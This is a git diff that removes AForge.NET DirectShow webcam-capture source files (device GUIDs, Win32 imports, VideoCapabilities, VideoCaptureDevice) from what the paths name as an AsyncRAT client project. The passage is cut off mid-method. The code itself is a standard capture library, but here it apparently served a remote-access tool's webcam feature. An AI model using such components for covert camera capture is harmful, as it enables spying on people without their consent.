/// - /// - [ComVisible( false )] - static internal class PinCategory - { - /// - /// Capture pin. - /// - /// - /// Equals to PIN_CATEGORY_CAPTURE. - /// - public static readonly Guid Capture = - new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - - /// - /// Still image pin. - /// - /// - /// Equals to PIN_CATEGORY_STILL. - /// - public static readonly Guid StillImage = - new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). - [ComVisible( false )] - static internal class FindDirection - { - /// Equals to LOOK_UPSTREAM_ONLY. - public static readonly Guid UpstreamOnly = - new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// Equals to LOOK_DOWNSTREAM_ONLY. - public static readonly Guid DownstreamOnly = - new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs deleted file mode 100644 index 73d2e90..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs +++ /dev/null @@ -1,102 +0,0 @@ -// AForge Video for Windows Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2007-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// Some Win32 API used internally. - /// - /// - internal static class Win32 - { - /// - /// Supplies a pointer to an implementation of IBindCtx (a bind context object). - /// This object stores information about a particular moniker-binding operation. - /// - /// - /// Reserved for future use; must be zero. - /// Address of IBindCtx* pointer variable that receives the - /// interface pointer to the new bind context object. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll" )] - public static extern - int CreateBindCtx( int reserved, out IBindCtx ppbc ); - - /// - /// Converts a string into a moniker that identifies the object named by the string. - /// - /// - /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. - /// Pointer to a zero-terminated wide character string containing the display name to be parsed. - /// Pointer to the number of characters of szUserName that were consumed. - /// Address of IMoniker* pointer variable that receives the interface pointer - /// to the moniker that was built from szUserName. - /// - /// Returns S_OK on success. - /// - [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] - public static extern - int MkParseDisplayName( IBindCtx pbc, string szUserName, - ref int pchEaten, out IMoniker ppmk ); - - /// - /// Copy a block of memory. - /// - /// - /// Destination pointer. - /// Source pointer. - /// Memory block's length to copy. - /// - /// Return's the value of dst - pointer to destination. - /// - [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] - public static unsafe extern int memcpy( - byte* dst, - byte* src, - int count ); - - /// - /// Invokes a new property frame, that is, a property sheet dialog box. - /// - /// - /// Parent window of property sheet dialog box. - /// Horizontal position for dialog box. - /// Vertical position for dialog box. - /// Dialog box caption. - /// Number of object pointers in ppUnk. - /// Pointer to the objects for property sheet. - /// Number of property pages in lpPageClsID. - /// Array of CLSIDs for each property page. - /// Locale identifier for property sheet locale. - /// Reserved. - /// Reserved. - /// - /// Returns S_OK on success. - /// - [DllImport( "oleaut32.dll" )] - public static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - [MarshalAs( UnmanagedType.LPWStr )] string caption, - int cObjects, - [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] - ref object ppUnk, - int cPages, - IntPtr lpPageClsID, - int lcid, - int dwReserved, - IntPtr lpvReserved ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs deleted file mode 100644 index 365a7c3..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs +++ /dev/null @@ -1,123 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - /// - /// Specifies the physical type of pin (audio or video). - /// - public enum PhysicalConnectorType - { - /// - /// Default value of connection type. Physically it does not exist, but just either to specify that - /// connection type should not be changed (input) or was not determined (output). - /// - Default = 0, - /// - /// Specifies a tuner pin for video. - /// - VideoTuner = 1, - /// - /// Specifies a composite pin for video. - /// - VideoComposite, - /// - /// Specifies an S-Video (Y/C video) pin. - /// - VideoSVideo, - /// - /// Specifies an RGB pin for video. - /// - VideoRGB, - /// - /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. - /// - VideoYRYBY, - /// - /// Specifies a serial digital pin for video. - /// - VideoSerialDigital, - /// - /// Specifies a parallel digital pin for video. - /// - VideoParallelDigital, - /// - /// Specifies a SCSI (Small Computer System Interface) pin for video. - /// - VideoSCSI, - /// - /// Specifies an AUX (auxiliary) pin for video. - /// - VideoAUX, - /// - /// Specifies an IEEE 1394 pin for video. - /// - Video1394, - /// - /// Specifies a USB (Universal Serial Bus) pin for video. - /// - VideoUSB, - /// - /// Specifies a video decoder pin. - /// - VideoDecoder, - /// - /// Specifies a video encoder pin. - /// - VideoEncoder, - /// - /// Specifies a SCART (Peritel) pin for video. - /// - VideoSCART, - /// - /// Not used. - /// - VideoBlack, - - /// - /// Specifies a tuner pin for audio. - /// - AudioTuner = 4096, - /// - /// Specifies a line pin for audio. - /// - AudioLine, - /// - /// Specifies a microphone pin. - /// - AudioMic, - /// - /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. - /// - AudioAESDigital, - /// - /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. - /// - AudioSPDIFDigital, - /// - /// Specifies a SCSI pin for audio. - /// - AudioSCSI, - /// - /// Specifies an AUX pin for audio. - /// - AudioAUX, - /// - /// Specifies an IEEE 1394 pin for audio. - /// - Audio1394, - /// - /// Specifies a USB pin for audio. - /// - AudioUSB, - /// - /// Specifies an audio decoder pin. - /// - AudioDecoder - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs deleted file mode 100644 index 3256fed..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs +++ /dev/null @@ -1,55 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow filter categories. - /// - [ComVisible( false )] - public static class FilterCategory - { - /// - /// Audio input device category. - /// - /// - /// Equals to CLSID_AudioInputDeviceCategory. - /// - public static readonly Guid AudioInputDevice = - new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video input device category. - /// - /// - /// Equals to CLSID_VideoInputDeviceCategory. - /// - public static readonly Guid VideoInputDevice = - new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Video compressor category. - /// - /// - /// Equals to CLSID_VideoCompressorCategory. - /// - public static readonly Guid VideoCompressorCategory = - new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Audio compressor category - /// - /// - /// Equals to CLSID_AudioCompressorCategory. - /// - public static readonly Guid AudioCompressorCategory = - new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs deleted file mode 100644 index a7c8dd4..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs +++ /dev/null @@ -1,245 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Capabilities of video device such as frame size and frame rate. - /// - public class VideoCapabilities - { - /// - /// Frame size supported by video device. - /// - public readonly Size FrameSize; - - /// - /// Frame rate supported by video device for corresponding frame size. - /// - /// - /// This field is depricated - should not be used. - /// Its value equals to . - /// - /// - [Obsolete( "No longer supported. Use AverageFrameRate instead." )] - public int FrameRate - { - get { return AverageFrameRate; } - } - - /// - /// Average frame rate of video device for corresponding frame size. - /// - public readonly int AverageFrameRate; - - /// - /// Maximum frame rate of video device for corresponding frame size. - /// - public readonly int MaximumFrameRate; - - /// - /// Number of bits per pixel provided by the camera. - /// - public readonly int BitCount; - - internal VideoCapabilities( ) { } - - // Retrieve capabilities of a video device - static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) - { - if ( videoStreamConfig == null ) - throw new ArgumentNullException( "videoStreamConfig" ); - - // ensure this device reports capabilities - int count, size; - int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( count <= 0 ) - throw new NotSupportedException( "This video device does not report capabilities." ); - - if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) - throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); - - // group capabilities with similar parameters - Dictionary videocapsList = new Dictionary( ); - - for ( int i = 0; i < count; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); - - uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | - ( ( (uint) vc.FrameSize.Width ) << 16 ); - - if ( !videocapsList.ContainsKey( key ) ) - { - videocapsList.Add( key, vc ); - } - else - { - if ( vc.BitCount > videocapsList[key].BitCount ) - { - videocapsList[key] = vc; - } - } - } - catch - { - } - } - - VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; - videocapsList.Values.CopyTo( videocaps, 0 ); - - return videocaps; - } - - // Retrieve capabilities of a video device - internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) - { - AMMediaType mediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - try - { - // retrieve capabilities struct at the specified index - int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); - - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - if ( mediaType.FormatType == FormatType.VideoInfo ) - { - VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else if ( mediaType.FormatType == FormatType.VideoInfo2 ) - { - VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); - - FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); - BitCount = videoInfo.BmiHeader.BitCount; - AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); - MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); - } - else - { - throw new ApplicationException( "Unsupported format found." ); - } - - // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 - // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail - // on such formats - if ( BitCount <= 12 ) - { - throw new ApplicationException( "Unsupported format found." ); - } - } - finally - { - if ( mediaType != null ) - mediaType.Dispose( ); - } - } - - /// - /// Check if the video capability equals to the specified object. - /// - /// - /// Object to compare with. - /// - /// Returns true if both are equal are equal or false otherwise. - /// - public override bool Equals( object obj ) - { - return Equals( obj as VideoCapabilities ); - } - - /// - /// Check if two video capabilities are equal. - /// - /// - /// Second video capability to compare with. - /// - /// Returns true if both video capabilities are equal or false otherwise. - /// - public bool Equals( VideoCapabilities vc2 ) - { - if ( (object) vc2 == null ) - { - return false; - } - - return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); - } - - /// - /// Get hash code of the object. - /// - /// - /// Returns hash code ot the object - public override int GetHashCode( ) - { - return FrameSize.GetHashCode( ) ^ BitCount; - } - - /// - /// Equality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are equal or false otherwise. - public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) - { - // if both are null, or both are same instance, return true. - if ( object.ReferenceEquals( a, b ) ) - { - return true; - } - - // if one is null, but not both, return false. - if ( ( (object) a == null ) || ( (object) b == null ) ) - { - return false; - } - - return a.Equals( b ); - } - - /// - /// Inequality operator. - /// - /// - /// First object to check. - /// Seconds object to check. - /// - /// Return true if both objects are not equal or false otherwise. - public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) - { - return !( a == b ); - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs deleted file mode 100644 index 8b76c5a..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs +++ /dev/null @@ -1,1698 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections.Generic; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - using System.Runtime.InteropServices; - - using AForge.Video; - using AForge.Video.DirectShow.Internals; - - /// - /// Video source for local video capture device (for example USB webcam). - /// - /// - /// This video source class captures video data from local video capture device, - /// like USB web camera (or internal), frame grabber, capture board - anything which - /// supports DirectShow interface. For devices which has a shutter button or - /// support external software triggering, the class also allows to do snapshots. Both - /// video size and snapshot size can be configured. - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // create video source - /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); - /// // set NewFrame event handler - /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// videoSource.Start( ); - /// // ... - /// // signal to stop when you no longer need capturing - /// videoSource.SignalToStop( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class VideoCaptureDevice : IVideoSource - { - // moniker string of video capture device - private string deviceMoniker; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - - // video and snapshot resolutions to set - private VideoCapabilities videoResolution = null; - private VideoCapabilities snapshotResolution = null; - - // provide snapshots or not - private bool provideSnapshots = false; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - private VideoCapabilities[] videoCapabilities; - private VideoCapabilities[] snapshotCapabilities; - - private bool needToSetVideoInput = false; - private bool needToSimulateTrigger = false; - private bool needToDisplayPropertyPage = false; - private bool needToDisplayCrossBarPropertyPage = false; - private IntPtr parentWindowForPropertyPage = IntPtr.Zero; - - // video capture source object - private object sourceObject = null; - - // time of starting the DirectX graph - private DateTime startTime = new DateTime( ); - - // dummy object to lock for synchronization - private object sync = new object( ); - - // flag specifying if IAMCrossbar interface is supported by the running graph/source object - private bool? isCrossbarAvailable = null; - - private VideoInput[] crossbarVideoInputs = null; - private VideoInput crossbarVideoInput = VideoInput.Default; - - // cache for video/snapshot capabilities and video inputs - private static Dictionary cacheVideoCapabilities = new Dictionary( ); - private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); - private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); - - /// - /// Current video input of capture card. - /// - /// - /// The property specifies video input to use for video devices like capture cards - /// (those which provide crossbar configuration). List of available video inputs can be obtained - /// from property. - /// - /// To check if the video device supports crossbar configuration, the - /// method can be used. - /// - /// This property can be set as before running video device, as while running it. - /// - /// By default this property is set to , which means video input - /// will not be set when running video device, but currently configured will be used. After video device - /// is started this property will be updated anyway to tell current video input. - /// - /// - public VideoInput CrossbarVideoInput - { - get { return crossbarVideoInput; } - set - { - needToSetVideoInput = true; - crossbarVideoInput = value; - } - } - - /// - /// Available inputs of the video capture card. - /// - /// - /// The property provides list of video inputs for devices like video capture cards. - /// Such devices usually provide several video inputs, which can be selected using crossbar. - /// If video device represented by the object of this class supports crossbar, then this property - /// will list all video inputs. However if it is a regular USB camera, for example, which does not - /// provide crossbar configuration, the property will provide zero length array. - /// - /// Video input to be used can be selected using . See also - /// method, which provides crossbar configuration dialog. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoInput[] AvailableCrossbarVideoInputs - { - get - { - if ( crossbarVideoInputs == null ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) - { - crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; - } - } - - if ( crossbarVideoInputs == null ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even if capabilities are not provided for some reason - return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; - } - } - - /// - /// Specifies if snapshots should be provided or not. - /// - /// - /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it - /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will - /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property - /// is set to , then snapshots will be provided through - /// event. - /// - /// Check supported sizes of snapshots using property and set the - /// desired size using property. - /// - /// The property must be set before running the video source to take effect. - /// - /// Default value of the property is set to . - /// - /// - public bool ProvideSnapshots - { - get { return provideSnapshots; } - set { provideSnapshots = value; } - } - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Snapshot frame event. - /// - /// - /// Notifies clients about new available snapshot frame - the one which comes when - /// camera's snapshot/shutter button is pressed. - /// - /// See documentation to for additional information. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - /// - /// - public event NewFrameEventHandler SnapshotFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// Video source is represented by moniker string of video capture device. - /// - public virtual string Source - { - get { return deviceMoniker; } - set - { - deviceMoniker = value; - - videoCapabilities = null; - snapshotCapabilities = null; - crossbarVideoInputs = null; - isCrossbarAvailable = null; - } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredFrameSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use - /// - /// - /// The property is obsolete. Use property instead. - /// Setting this property does not have any effect. - /// - [Obsolete] - public Size DesiredSnapshotSize - { - get { return Size.Empty; } - set { } - } - - /// - /// Obsolete - no longer in use. - /// - /// - /// The property is obsolete. Setting this property does not have any effect. - /// - [Obsolete] - public int DesiredFrameRate - { - get { return 0; } - set { } - } - - /// - /// Video resolution to set. - /// - /// - /// The property allows to set one of the video resolutions supported by the camera. - /// Use property to get the list of supported video resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default video - /// resolution is used. - /// - /// - public VideoCapabilities VideoResolution - { - get { return videoResolution; } - set { videoResolution = value; } - } - - /// - /// Snapshot resolution to set. - /// - /// - /// The property allows to set one of the snapshot resolutions supported by the camera. - /// Use property to get the list of supported snapshot resolutions. - /// - /// The property must be set before camera is started to make any effect. - /// - /// Default value of the property is set to , which means default snapshot - /// resolution is used. - /// - /// - public VideoCapabilities SnapshotResolution - { - get { return snapshotResolution; } - set { snapshotResolution = value; } - } - - /// - /// Video capabilities of the device. - /// - /// - /// The property provides list of device's video capabilities. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - public VideoCapabilities[] VideoCapabilities - { - get - { - if ( videoCapabilities == null ) - { - lock ( cacheVideoCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - videoCapabilities = cacheVideoCapabilities[deviceMoniker]; - } - } - - if ( videoCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Snapshot capabilities of the device. - /// - /// - /// The property provides list of device's snapshot capabilities. - /// - /// If the array has zero length, then it means that this device does not support making - /// snapshots. - /// - /// See documentation to for additional information. - /// - /// It is recomended not to call this property immediately after method, since - /// device may not start yet and provide its information. It is better to call the property - /// before starting device or a bit after (but not immediately after). - /// - /// - /// - /// - public VideoCapabilities[] SnapshotCapabilities - { - get - { - if ( snapshotCapabilities == null ) - { - lock ( cacheSnapshotCapabilities ) - { - if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; - } - } - - if ( snapshotCapabilities == null ) - { - if ( !IsRunning ) - { - // create graph without playing to get the video/snapshot capabilities only. - // not very clean but it works - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - } - // don't return null even capabilities are not provided for some reason - return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; - } - } - - /// - /// Source COM object of camera capture device. - /// - /// - /// The source COM object of camera capture device is exposed for the - /// case when user may need get direct access to the object for making some custom - /// configuration of camera through DirectShow interface, for example. - /// - /// - /// If camera is not running, the property is set to . - /// - /// - public object SourceObject - { - get { return sourceObject; } - } - - /// - /// Initializes a new instance of the class. - /// - /// - public VideoCaptureDevice( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Moniker string of video capture device. - /// - public VideoCaptureDevice( string deviceMoniker ) - { - this.deviceMoniker = deviceMoniker; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( string.IsNullOrEmpty( deviceMoniker ) ) - throw new ArgumentException( "Video source is not specified." ); - - framesReceived = 0; - bytesReceived = 0; - isCrossbarAvailable = null; - needToSetVideoInput = true; - - // create events - stopEvent = new ManualResetEvent( false ); - - lock ( sync ) - { - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = deviceMoniker; // mainly for debugging - thread.Start( ); - } - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - /// - /// Display property window for the video capture device providing its configuration - /// capabilities. - /// - /// - /// Handle of parent window. - /// - /// If you pass parent window's handle to this method, then the - /// displayed property page will become modal window and none of the controls from the - /// parent window will be accessible. In order to make it modeless it is required - /// to pass as parent window's handle. - /// - /// - /// - /// The video source does not support configuration property page. - /// - public void DisplayPropertyPage( IntPtr parentWindow ) - { - // check source - if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) - throw new ArgumentException( "Video source is not specified." ); - - lock ( sync ) - { - if ( IsRunning ) - { - // pass the request to backgroud thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayPropertyPage = true; - return; - } - - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is ISpecifyPropertyPages ) ) - { - throw new NotSupportedException( "The video source does not support configuration property page." ); - } - - DisplayPropertyPage( parentWindow, tempSourceObject ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - } - - /// - /// Display property page of video crossbar (Analog Video Crossbar filter). - /// - /// - /// Handle of parent window. - /// - /// The Analog Video Crossbar filter is modeled after a general switching matrix, - /// with n inputs and m outputs. For example, a video card might have two external connectors: - /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on - /// the filter. The displayed property page allows to configure the crossbar by selecting input - /// of a video card to use. - /// - /// This method can be invoked only when video source is running ( is - /// ). Otherwise it generates exception. - /// - /// Use method to check if running video source provides - /// crossbar configuration. - /// - /// - /// The video source must be running in order to display crossbar property page. - /// Crossbar configuration is not supported by currently running video source. - /// - public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) - { - lock ( sync ) - { - // wait max 5 seconds till the flag gets initialized - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) - { - Thread.Sleep( 10 ); - } - - if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) - { - throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); - } - - if ( !isCrossbarAvailable.Value ) - { - throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); - } - - // pass the request to background thread if video source is running - parentWindowForPropertyPage = parentWindow; - needToDisplayCrossBarPropertyPage = true; - } - } - - /// - /// Check if running video source provides crossbar for configuration. - /// - /// - /// Returns if crossbar configuration is available or - /// otherwise. - /// - /// The method reports if the video source provides crossbar configuration - /// using . - /// - /// - public bool CheckIfCrossbarAvailable( ) - { - lock ( sync ) - { - if ( !isCrossbarAvailable.HasValue ) - { - if ( !IsRunning ) - { - // create graph without playing to collect available inputs - WorkerThread( false ); - } - else - { - for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) - { - Thread.Sleep( 10 ); - } - } - } - - return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; - } - } - - - /// - /// Simulates an external trigger. - /// - /// - /// The method simulates external trigger for video cameras, which support - /// providing still image snapshots. The effect is equivalent as pressing camera's shutter - /// button - a snapshot will be provided through event. - /// - /// The property must be set to - /// to enable receiving snapshots. - /// - /// - public void SimulateTrigger( ) - { - needToSimulateTrigger = true; - } - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool SetCameraProperty( 